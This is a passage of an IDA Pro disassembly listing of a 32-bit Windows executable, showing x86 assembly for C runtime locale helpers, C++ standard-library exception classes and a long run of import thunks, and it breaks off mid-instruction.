mov [eax], edx mov ecx, [ebp+Str1] add ecx, 1 mov [ebp+Str1], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax jmp loc_43972F ; --------------------------------------------------------------------------- loc_4397EA: ; CODE XREF: sub_439390+3A7j ; sub_439390+3B3j ... jmp short loc_4397F5 ; --------------------------------------------------------------------------- loc_4397EC: ; CODE XREF: sub_439390+390j mov edx, [ebp+Str1] add edx, [ebp+var_C] mov [ebp+Str1], edx loc_4397F5: ; CODE XREF: sub_439390:loc_4397EAj jmp loc_439396 ; --------------------------------------------------------------------------- loc_4397FA: ; CODE XREF: sub_439390+80j ; sub_439390+91j ... movsx eax, [ebp+var_8] test eax, eax jz short loc_439826 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov dl, [ebp+var_8] push edx call sub_438BC0 add esp, 14h mov eax, [ebp+var_4] mov [ebp+Str1], eax jmp short loc_4398A0 ; --------------------------------------------------------------------------- loc_439826: ; CODE XREF: sub_439390+470j mov ecx, [ebp+Str1] xor edx, edx mov dl, [ecx] mov eax, off_454E04 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_439871 mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+Str1] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+Str1] add eax, 1 mov [ebp+Str1], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_439871: ; CODE XREF: sub_439390+4B0j mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+Str1] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+Str1] add edx, 1 mov [ebp+Str1], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_4398A0: ; CODE XREF: sub_439390+494j jmp loc_439396 ; --------------------------------------------------------------------------- loc_4398A5: ; CODE XREF: sub_439390+Ej ; sub_439390+1Aj mov esp, ebp pop ebp retn sub_439390 endp ; --------------------------------------------------------------------------- off_4398A9 dd offset loc_439718 ; DATA XREF: sub_439390+91r dd offset loc_439563 dd offset loc_4394EE dd offset loc_439428 dd offset loc_439466 dd offset loc_4394C7 dd offset loc_439515 dd offset loc_43953C dd offset loc_4395AA dd offset loc_4394A4 dd offset loc_4397FA byte_4398D5 db 0 ; DATA XREF: sub_439390+8Br dw 0A0Ah dd 5 dup(0A0A0A0Ah), 10A0A0Ah, 0A0A0A0Ah, 0A020A0Ah, 30A0A0Ah dd 4 dup(0A0A0A0Ah), 10A0A0Ah, 0A040A0Ah, 0A050A0Ah, 60A0A0Ah dd 0A0A0A0Ah, 0A08070Ah, 90A0A0Ah off_439928 dd offset loc_439447 ; DATA XREF: sub_439390+B0r dd offset loc_439451 dd offset loc_439457 dd offset loc_43945D off_439938 dd offset loc_439485 ; DATA XREF: sub_439390+EEr dd offset loc_43948F dd offset loc_439495 dd offset loc_43949B align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439950 proc near ; CODE XREF: __get_lc_time+41p ; __get_lc_time+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch Source = dword ptr -0Ch Count = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_439AB9 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+Source], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+Source] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call ___crtGetLocaleInfoA add esp, 14h mov [ebp+Count], eax cmp [ebp+Count], 0 jnz loc_439A3F call ds:dword_4F6394 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_4399C0 jmp loc_439A9D ; --------------------------------------------------------------------------- loc_4399C0: ; CODE XREF: sub_439950+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call ___crtGetLocaleInfoA add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_4399EA jmp loc_439A9D ; --------------------------------------------------------------------------- loc_4399EA: ; CODE XREF: sub_439950+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call __malloc_dbg add esp, 10h mov [ebp+Source], eax cmp [ebp+Source], 0 jnz short loc_439A10 jmp loc_439A9D ; --------------------------------------------------------------------------- loc_439A10: ; CODE XREF: sub_439950+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+Source] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call ___crtGetLocaleInfoA add esp, 14h mov [ebp+Count], eax cmp [ebp+Count], 0 jnz short loc_439A3F jmp short loc_439A9D ; --------------------------------------------------------------------------- loc_439A3F: ; CODE XREF: sub_439950+5Aj ; sub_439950+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+Count] push ecx call __malloc_dbg add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_439A69 jmp short loc_439A9D ; --------------------------------------------------------------------------- loc_439A69: ; CODE XREF: sub_439950+115j mov ecx, [ebp+Count] push ecx ; Count mov edx, [ebp+Source] push edx ; Source mov eax, [ebp+var_90] mov ecx, [eax] push ecx ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_439A96 push 2 mov edx, [ebp+Source] push edx call __free_dbg add esp, 8 loc_439A96: ; CODE XREF: sub_439950+136j xor eax, eax jmp loc_439BD6 ; --------------------------------------------------------------------------- loc_439A9D: ; CODE XREF: sub_439950+6Bj ; sub_439950+95j ... cmp [ebp+var_4], 0 jz short loc_439AB1 push 2 mov eax, [ebp+Source] push eax call __free_dbg add esp, 8 loc_439AB1: ; CODE XREF: sub_439950+151j or eax, 0FFFFFFFFh jmp loc_439BD6 ; --------------------------------------------------------------------------- loc_439AB9: ; CODE XREF: sub_439950+Dj cmp [ebp+arg_0], 0 jnz loc_439BD3 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4F4AFC mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call ___crtGetLocaleInfoW add esp, 14h test eax, eax jnz short loc_439B00 or eax, 0FFFFFFFFh jmp loc_439BD6 ; --------------------------------------------------------------------------- loc_439B00: ; CODE XREF: sub_439950+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_439B24 ; --------------------------------------------------------------------------- loc_439B15: ; CODE XREF: sub_439950:loc_439BCAj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_439B24: ; CODE XREF: sub_439950+1C3j cmp [ebp+var_A0], 4 jge loc_439BCF cmp SrcSizeInBytes, 1 jle short loc_439B6B push 4 ; Type mov ecx, [ebp+var_A0] mov dl, byte_4F4AFC[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax ; C call __isctype add esp, 8 mov [ebp+var_A8], eax jmp short loc_439B9E ; --------------------------------------------------------------------------- loc_439B6B: ; CODE XREF: sub_439950+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4F4AFC[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_454E04 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_439B9E: ; CODE XREF: sub_439950+219j cmp [ebp+var_A8], 0 jz short loc_439BC8 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_439BCA ; --------------------------------------------------------------------------- loc_439BC8: ; CODE XREF: sub_439950+255j jmp short loc_439BCF ; --------------------------------------------------------------------------- loc_439BCA: ; CODE XREF: sub_439950+276j jmp loc_439B15 ; --------------------------------------------------------------------------- loc_439BCF: ; CODE XREF: sub_439950+1DBj ; sub_439950:loc_439BC8j xor eax, eax jmp short loc_439BD6 ; --------------------------------------------------------------------------- loc_439BD3: ; CODE XREF: sub_439950+16Dj or eax, 0FFFFFFFFh loc_439BD6: ; CODE XREF: sub_439950+148j ; sub_439950+164j ... mov esp, ebp pop ebp retn sub_439950 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_456038 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000026D BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000073 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CF BYTES: COLLAPSED FUNCTION __setmode_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000043D BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C3 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AE BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000195 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001A5 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003F8 BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS KEYPAD "+" TO EXPAND] ; [000002E0 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EE BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000ED BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B3B0 proc near ; CODE XREF: sub_40DDA0+15p ; sub_40DE34+15p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43B3B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40DD4D mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43B560 push offset dword_43F458 lea edx, [ebp+var_28] push edx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43B3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B410 proc near ; CODE XREF: sub_43B4A0+10p ; sub_43B680+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43B410 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DD23 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_43F108 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43B410 endp ; --------------------------------------------------------------------------- align 10h ; [00000016 BYTES: COLLAPSED FUNCTION sub_43B480. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B4A0 proc near ; DATA XREF: .rdata:0043F110o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43B410 push offset dword_43F4C8 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43B4A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B4D0 proc near ; CODE XREF: sub_43B530+Ap ; sub_43B600+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43B4D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_43F108 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DD70 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call ??1exception@@UAE@XZ ; exception::~exception(void) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43B4D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B530 proc near ; DATA XREF: .rdata:off_43F108o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43B4D0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43B555 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43B555: ; CODE XREF: sub_43B530+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B560 proc near ; CODE XREF: sub_43B3B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43B590 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43F118 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B590 proc near ; CODE XREF: sub_43B560+Ep ; sub_43B710+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43B590 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_43DF74 lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40DD23 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_43F108 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B600 proc near ; CODE XREF: sub_43B650+Ap ; DATA XREF: .rdata:0043F45Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43F118 mov ecx, [ebp+var_4] call sub_43B4D0 mov esp, ebp pop ebp retn sub_43B600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B620 proc near ; DATA XREF: .rdata:0043F120o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43B680 push offset dword_43F458 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43B620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B650 proc near ; DATA XREF: .rdata:off_43F118o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43B600 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43B675 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43B675: ; CODE XREF: sub_43B650+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B680 proc near ; CODE XREF: sub_43B620+10p ; DATA XREF: .rdata:0043F440o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43B410 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43F118 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B6B0 proc near ; CODE XREF: sub_40DE9E+17p ; sub_40E11D+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43B6B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40DD4D mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43B710 push offset dword_43F558 lea edx, [ebp+var_28] push edx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43B6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B710 proc near ; CODE XREF: sub_43B6B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43B590 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43F140 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B740 proc near ; CODE XREF: sub_43B790+Ap ; DATA XREF: .rdata:0043F55Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43F140 mov ecx, [ebp+var_4] call sub_43B4D0 mov esp, ebp pop ebp retn sub_43B740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B760 proc near ; DATA XREF: .rdata:0043F148o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_43B7C0 push offset dword_43F558 lea ecx, [ebp+var_1C] push ecx call __CxxThrowException@8 ; _CxxThrowException(x,x) mov esp, ebp pop ebp retn sub_43B760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B790 proc near ; DATA XREF: .rdata:off_43F140o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43B740 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43B7B5 mov ecx, [ebp+var_4] push ecx ; void * call ??3@YAXPAX@Z ; operator delete(void *) add esp, 4 loc_43B7B5: ; CODE XREF: sub_43B790+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B7C0 proc near ; CODE XREF: sub_43B760+10p ; DATA XREF: .rdata:0043F540o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_43B410 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43F140 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B7C0 endp ; --------------------------------------------------------------------------- align 10h ; [00000019 BYTES: COLLAPSED FUNCTION unknown_libname_31. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B810 proc near ; CODE XREF: unknown_libname_31+8p push ebp mov ebp, esp push offset nullsub_1 ; void (__cdecl *)() call _atexit add esp, 4 pop ebp retn sub_43B810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B830 proc near ; CODE XREF: unknown_libname_31+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4F5EBC and eax, 1 test eax, eax jnz short loc_43B850 mov cl, byte_4F5EBC or cl, 1 mov byte_4F5EBC, cl loc_43B850: ; CODE XREF: sub_43B830+Fj pop ebp retn sub_43B830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B860 proc near ; CODE XREF: unknown_libname_31+12p push ebp mov ebp, esp push offset __initp_misc_winxfltr_0 ; void (__cdecl *)() call _atexit add esp, 4 pop ebp retn sub_43B860 endp ; --------------------------------------------------------------------------- align 10h ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr_0. PRESS KEYPAD "+" TO EXPAND] align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43B886 proc near ; CODE XREF: sub_40E3FF+6Fp jmp ds:dword_4F6518 sub_43B886 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F6580 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43B892 proc near ; CODE XREF: sub_40D6D3+5Ep ; sub_40F43A+14Ap ... jmp ds:dword_4F657C sub_43B892 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F6578 ; --------------------------------------------------------------------------- jmp ds:dword_4F6574 ; --------------------------------------------------------------------------- jmp ds:dword_4F6570 ; --------------------------------------------------------------------------- jmp ds:dword_4F656C ; --------------------------------------------------------------------------- jmp ds:dword_4F6568 ; --------------------------------------------------------------------------- jmp ds:dword_4F6564 ; --------------------------------------------------------------------------- jmp ds:dword_4F6560 ; --------------------------------------------------------------------------- jmp ds:dword_4F655C ; --------------------------------------------------------------------------- jmp ds:dword_4F6558 ; --------------------------------------------------------------------------- jmp ds:dword_4F6554 ; --------------------------------------------------------------------------- jmp ds:dword_4F6584 ; --------------------------------------------------------------------------- jmp ds:dword_4F654C ; --------------------------------------------------------------------------- jmp ds:dword_4F6548 ; --------------------------------------------------------------------------- jmp ds:dword_4F6544 ; --------------------------------------------------------------------------- jmp ds:dword_4F6540 ; --------------------------------------------------------------------------- jmp ds:dword_4F653C ; --------------------------------------------------------------------------- jmp ds:dword_4F6538 ; --------------------------------------------------------------------------- jmp ds:dword_4F6534 ; --------------------------------------------------------------------------- jmp ds:dword_4F6530 ; --------------------------------------------------------------------------- jmp ds:dword_4F6550 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43B910 proc near ; CODE XREF: .text:0041BF8Cp jmp ds:dword_4F6520 sub_43B910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43B916 proc near ; CODE XREF: .text:0041BF5Fp jmp ds:dword_4F6524 sub_43B916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43B91C proc near ; CODE XREF: .text:0041BF1Ep jmp ds:dword_4F6528 sub_43B91C endp ; --------------------------------------------------------------------------- jmp ds:dword_4F636C ; --------------------------------------------------------------------------- jmp ds:dword_4F6370 ; --------------------------------------------------------------------------- jmp ds:dword_4F6374 ; --------------------------------------------------------------------------- jmp ds:dword_4F6378 ; --------------------------------------------------------------------------- jmp ds:dword_4F637C ; --------------------------------------------------------------------------- jmp ds:dword_4F6380 ; --------------------------------------------------------------------------- jmp ds:dword_4F6384 ; --------------------------------------------------------------------------- jmp ds:dword_4F6388 ; --------------------------------------------------------------------------- jmp ds:dword_4F638C ; --------------------------------------------------------------------------- jmp ds:dword_4F6390 ; --------------------------------------------------------------------------- jmp ds:dword_4F6394 ; --------------------------------------------------------------------------- jmp ds:dword_4F6398 ; --------------------------------------------------------------------------- jmp ds:dword_4F639C ; --------------------------------------------------------------------------- jmp ds:dword_4F63A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63AC ; --------------------------------------------------------------------------- jmp ds:dword_4F63B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63BC ; --------------------------------------------------------------------------- jmp ds:dword_4F63C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63CC ; --------------------------------------------------------------------------- jmp ds:dword_4F63D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63DC ; --------------------------------------------------------------------------- jmp ds:dword_4F63E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63EC ; --------------------------------------------------------------------------- jmp ds:dword_4F63F0 ; --------------------------------------------------------------------------- jmp ds:dword_4F63F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F63F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F63FC ; --------------------------------------------------------------------------- jmp ds:dword_4F6400 ; --------------------------------------------------------------------------- jmp ds:dword_4F6404 ; --------------------------------------------------------------------------- jmp ds:dword_4F6408 ; --------------------------------------------------------------------------- jmp ds:dword_4F640C ; --------------------------------------------------------------------------- jmp ds:dword_4F6410 ; --------------------------------------------------------------------------- jmp ds:dword_4F6414 ; --------------------------------------------------------------------------- jmp ds:dword_4F6418 ; --------------------------------------------------------------------------- jmp ds:dword_4F641C ; --------------------------------------------------------------------------- jmp ds:dword_4F6420 ; --------------------------------------------------------------------------- jmp ds:dword_4F6424 ; --------------------------------------------------------------------------- jmp ds:dword_4F6428 ; --------------------------------------------------------------------------- jmp ds:dword_4F642C ; --------------------------------------------------------------------------- jmp ds:dword_4F6430 ; --------------------------------------------------------------------------- jmp ds:dword_4F6434 ; --------------------------------------------------------------------------- jmp ds:dword_4F6438 ; --------------------------------------------------------------------------- jmp ds:dword_4F643C ; --------------------------------------------------------------------------- jmp ds:dword_4F62F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F6440 ; --------------------------------------------------------------------------- jmp ds:dword_4F6444 ; --------------------------------------------------------------------------- jmp ds:dword_4F6448 ; --------------------------------------------------------------------------- jmp ds:dword_4F644C ; --------------------------------------------------------------------------- jmp ds:dword_4F6450 ; --------------------------------------------------------------------------- jmp ds:dword_4F6454 ; --------------------------------------------------------------------------- jmp ds:dword_4F6458 ; --------------------------------------------------------------------------- jmp ds:dword_4F645C ; --------------------------------------------------------------------------- jmp ds:dword_4F6460 ; --------------------------------------------------------------------------- jmp 